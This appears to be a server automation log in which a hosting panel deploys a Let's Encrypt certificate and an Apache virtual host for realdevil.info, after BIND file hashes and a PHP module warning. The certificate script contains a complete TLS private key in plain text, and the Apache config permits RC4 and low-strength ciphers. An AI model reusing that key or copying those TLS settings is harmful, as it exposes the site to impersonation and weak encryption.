MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-09 06:00:02: Establishing a connection
2026-04-09 06:00:03: Establishing a connection
2026-04-09 06:00:03: 

PUT: /tmp/pkp982251

#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-09 06:00:07: 

chmod 755 /tmp/pkp982251; /tmp/pkp982251; rm /tmp/pkp982251

2026-04-09 06:00:07: 


1


2026-04-09 06:00:09: Establishing a connection
2026-04-09 06:00:09: 

PUT: /tmp/pkp264832

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > m8UKaOTwHweLfJkDBg912ZvH-kqqMh3UqQ_H8DdxGss <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
m8UKaOTwHweLfJkDBg912ZvH-kqqMh3UqQ_H8DdxGss.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 m8UKaOTwHweLfJkDBg912ZvH-kqqMh3UqQ_H8DdxGss
cat > fjE7MwlKQw-A0PQMNJJnMJY7f9Vn70dDHYivHc8_FII <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fjE7MwlKQw-A0PQMNJJnMJY7f9Vn70dDHYivHc8_FII.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fjE7MwlKQw-A0PQMNJJnMJY7f9Vn70dDHYivHc8_FII


2026-04-09 06:00:09: 

chmod 755 /tmp/pkp264832; /tmp/pkp264832; rm /tmp/pkp264832

2026-04-09 06:00:09: 




2026-04-09 06:00:18: Establishing a connection
2026-04-09 06:00:19: 

PUT: /tmp/pkp497605

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm m8UKaOTwHweLfJkDBg912ZvH-kqqMh3UqQ_H8DdxGss
rm fjE7MwlKQw-A0PQMNJJnMJY7f9Vn70dDHYivHc8_FII


2026-04-09 06:00:19: 

chmod 755 /tmp/pkp497605; /tmp/pkp497605; rm /tmp/pkp497605

2026-04-09 06:00:19: 




2026-04-09 06:00:19: Establishing a connection
2026-04-09 06:00:19: 

PUT: /tmp/pkp474732

#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem

cat > $temp_file <<'endmsg'
35:94:73:6a:b9:39:c0:11:a3:22:ee:70:28:a3:0b:41

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBlpKbF5ZjvMSG/CSny0sMDwxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA5MDUwMTQ3WhcNMjYwNzA4MDUwMTQ2WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM2hSf9Av/eAcR3nlC5j7WCNiux5HqatbhTL+mAeA3NpBLmxT/F7Kkv7SkBzF9C/
BW03//HW3MMJ+dtkf2DO1SYqcMGDD1uj6bK2Q1uFabn6K/KlhrmyCcNsCtIoWtho
0yYNTX5qOLsXNweI32niDelRjO3oa7qZ0sdv8Q6qCCrCqxTPJh/v1gRbCyMGiosT
Chi4r6lS80fDKMB1t8RmzHF7LQz/iDkprrKss22Y/0PkHWK86BTCullfvu37ps5w
AwOk/tYB5psXJnrp33oRuW7lPm4XF3blDSjOpZ3o19D2bYtSOWXxvkJm3Uvo0L9V
IHhHmwYrtVe+hzPdT8fi+oUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQcGoFR
k6zrnwwfK9qHJ5tDiN6cwTAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDnJlYWxkZXZpbC5pbmZvghJ3d3cucmVhbGRldmls
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy81MC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdQDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ1w07uTAAAE
AwBGMEQCICiMQh/cE1cejgPoy/Kg2Q8LNz44MI42PX2AXttag3GhAiBO4hGD4L39
RaXgmW4G572GHKkya0vgU7RtDAHGJYR6PAB/AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABnXDTv0IACAAABQAGMAGIBAMASDBGAiEAyETBSZt/XV1U
0kHUsCiedxn+xEA1e+97GnwibNcr4ewCIQCsm+1y6AHR+bOzAG4loRIS7LpWOqE0
GwRJZYy0e253gDANBgkqhkiG9w0BAQsFAAOCAQEAZwzUI9y9wsTsCAmzTy24it5f
+k8AMEQWbw/Apk9gmlZw3HxG1BdpOPMuzUvSZ6iJHjM78UjhA1UkYTuMHFA0L/23
AFbUxC5wnYqe7RLZloB1DNOM6QUJE06Ahb3aZTfYY9VFZEzOza+KfvUDrZB3/jjp
323g0i816jheD//uA+X/GNDCecMxjXsdMVSbikxNnbgajdP0ebPAXIMUDFSTPQUU
fJyt3GZ1a8woE9IpoIEMPZAVP7nazEZY8+ey7hHmbyaEJmAoJzP7bdtFSFrpC4lW
Rt3lE+oMWc7XXGUbFOA5n6Q7xIj0RV8eOSndRKeJCLp0TUg/pjuqEb4zK9msYg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDNoUn/QL/3gHEd
55QuY+1gjYrseR6mrW4Uy/pgHgNzaQS5sU/xeypL+0pAcxfQvwVtN//x1tzDCfnb
ZH9gztUmKnDBgw9bo+mytkNbhWm5+ivypYa5sgnDbArSKFrYaNMmDU1+aji7FzcH
iN9p4g3pUYzt6Gu6mdLHb/EOqggqwqsUzyYf79YEWwsjBoqLEwoYuK+pUvNHwyjA
dbfEZsxxey0M/4g5Ka6yrLNtmP9D5B1ivOgUwrpZX77t+6bOcAMDpP7WAeabFyZ6
6d96Eblu5T5uFxd25Q0ozqWd6NfQ9m2LUjll8b5CZt1L6NC/VSB4R5sGK7VXvocz
3U/H4vqFAgMBAAECggEAK3spjIIClbFhOfOYD98teLc1Yx+RbalKl7cyMFToYeUZ
DLMDtopWvU5buxkbNhbObPPkeRz3/X4EiXHMxYm25KUgxqqR+szEQ/fqclXZr2vJ
EzwRKv8MtXgJKbtCynQQAgHaGxsW9+jGyB8XLuqQCoAmDsCQ1xpjyaxQCsvFglTa
Ka0/2qDgUnrQwcz8ekChxDRbPSj62YeDEjTSmbB0kJdHZ8Oqqfn5KPqT69BU6KoF
4GXTsBni8EBnDmlhPV+1HDHNbX6r6V5UuZrbptD2YIG0k4IKak7BmklMx8MTS/FD
S5vtV5t9QqFwI2xQoI7udVU5xnub/+d0y1HHM2U5mQKBgQD7rydRgQtafNYMIYfQ
YYVglTnlscmpgHolvf5j51Wn37c5ZXtm6xgyn7fauvLa1u0p7y1Y2p1+kgCj90Hm
PTMEjYinV+4PFcsvMcuV97I6AJXbQAYd1Smwgr7uonrmf+8df6u94Ol0AmvhIKcM
w9aRK9wwHU4z08Kuz6M90o/svwKBgQDRJ/diYqghwxe5NAFTpph8rrhTC9DQ2CA/
wRw9ieGzA7XWoeFpSF3nwSmWx1WMoeQsHnqu7aNGTk+jPj7NQ00hagyliSjWmKbs
+pQV091s21Yz1FmAepWRUI0gl3SvKgDJi5v44vib3J6IEXXI6sQS2+MtNwSMkkq/
2E0WeyK1uwKBgFv54HaKoCmLYXXBcy6V1PY80pG8bSQCjaDpU+QSkFzvBrh0+6na
1Fb7w2at1z5eOQGQJJRKIDA3DwDcxTpstw484um02oysvDodCndds8Y6nIkpVpLk
aX3V6gyvWBaQPkQbehnD7cy1bdMx6ZpinzEiRC9ZJlEOXCEiRFe9cVdlAoGBAL8c
oLwCX5Sx+fxdW5T+1bifwYcIdd5OjXET1+UXFucGzeF3e0tDN6Lq6kB+lVnyF1aE
5x7tvtIf/j6wQpw2EcUlbLbZFDq5s1U4RZWISHwOEr87Gij+Wao1Cy8rlQ/09lEy
wurxIa7xMN4t7g0PDugYiYUoD30Os0SGtTGEhBu/AoGBAIutIopFFYyfWVoN7OxY
pe+/is+/Lq0s5QI79rRSMLdb134VHRI11QCk5JCQxTklydZW5DZC7vrr7/rIBea7
GZfzyAcyCJ1yc6HVl8NJiA28KWQSyMNk8TnGFY3cO88/ld+iI+m+kkbFL0/gYJDO
9ublwOY+1QhWrj+mKabjE25w
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-09 06:00:19: 

chmod 755 /tmp/pkp474732; /tmp/pkp474732; rm /tmp/pkp474732

2026-04-09 06:00:19: 


dir=/etc/ssl/certs


2026-04-09 06:00:19: 

PUT: /tmp/pkp214906

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-09 06:00:19: 

chmod 755 /tmp/pkp214906; /tmp/pkp214906; rm /tmp/pkp214906

2026-04-09 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-09 06:00:19: 

PUT: /tmp/pkp569850

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi


2026-04-09 06:00:19: 

chmod 755 /tmp/pkp569850; /tmp/pkp569850; rm /tmp/pkp569850

2026-04-09 06:00:19: 




2026-04-09 06:00:19: 

PUT: /tmp/pkp627769

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
